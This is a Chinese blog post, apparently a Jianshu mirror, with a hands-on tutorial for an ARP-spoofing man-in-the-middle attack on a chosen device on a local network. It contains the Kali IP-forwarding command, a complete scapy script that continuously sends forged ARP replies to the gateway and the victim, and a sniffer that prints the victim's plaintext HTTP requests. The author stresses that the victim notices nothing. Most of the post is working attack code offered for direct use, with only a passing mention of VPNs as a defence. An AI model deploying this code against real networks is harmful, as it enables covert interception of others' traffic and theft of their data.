美文网首页python_爬虫kali
scapy局域网实现定向设备抓包

scapy局域网实现定向设备抓包

作者: sexy_cyber | 来源:发表于2022-07-10 02:25 被阅读0次

    全局流量监控是一样的道理

    遍历局域网alive的IP就行

    前言

    1. 想想真的还是蛮可怕的,靶机一点感知都没有,就被监控了。
    2. 不过也有解决方案,反监控,就是搭建加密隧道(VPN),安全穿越小局域网,这和穿越大局域网是一个概念。

    开干

      1. 准备kali系统,windows系统测了有些包导入不了,还没有深入研究是否能有解决方案
      1. 打开Kali的IP转发功能;否则靶机将不能正常上网(断网攻击)
    echo 1 >> /proc/sys/net/ipv4/ip_forward
    
      1. 开启ARP定向设备欺骗
    from scapy.all import *
    from threading import Thread
    import time
    
    gateway_device = ARP()
    # pdst目标机
    gateway_device.pdst = "192.168.0.1"
    # psrc源主机
    gateway_device.psrc = "192.168.0.109"
    
    chicken_device = ARP()
    chicken_device.psrc = gateway_device.pdst
    chicken_device.pdst = gateway_device.psrc
    #向网关发送欺骗包
    def wifi():
        while True:
            time.sleep(0.8)
            send(gateway_device)
    #向肉鸡发送欺骗包
    def chicken():
        while True:
            time.sleep(0.8)
            send(chicken_device)
    t1 = Thread(target = wifi)
    t2 = Thread(target = chicken)
    t1.start()
    t2.start()
    
    
    • 4.抓包
      攻击机开启抓包,抓本机网卡流量,由于骗了肉鸡说我的机器是路由器,所以流量都会走我这里走,走完,我再代理它去和真实的路由器做交互。
    from scapy.all import *
    
    
    def capture(x):
        # if b'HTTP/' in x.lastlayer().original and x.lastlayer().original[0:4] != b'HTTP':
        # 监控http协议的流量,如果是VPN代理加密的,一般无法解密请求的头和请求体
        if b'HTTP/' in x.lastlayer().original:
        # if x.lastlayer().original:
            try:
                request_body = x.lastlayer().original
                request_body = request_body.decode('utf-8')
            except:
                request_body = str(x.lastlayer().original)
            if 'allall01.baidupcs.com' in request_body:
                return
            if 'netdisk' in request_body:
                return
            if 'baidu' in request_body:
                return
            dst_ip = x.payload.dst
            if dst_ip == '192.168.0.100':
                return
            print('dst ip:', dst_ip)
            request_body = request_body.replace('\\r\\n','\r\n')
            print('request body:', request_body)
    
    
    def main():
        sniff(filter="tcp", prn=lambda x: capture(x))
    
    
    if __name__ == '__main__':
        main()
    
    

    相关文章

      网友评论

        本文标题:scapy局域网实现定向设备抓包

        本文链接:https://www.haomeiwen.com/subject/lmfwbrtx.html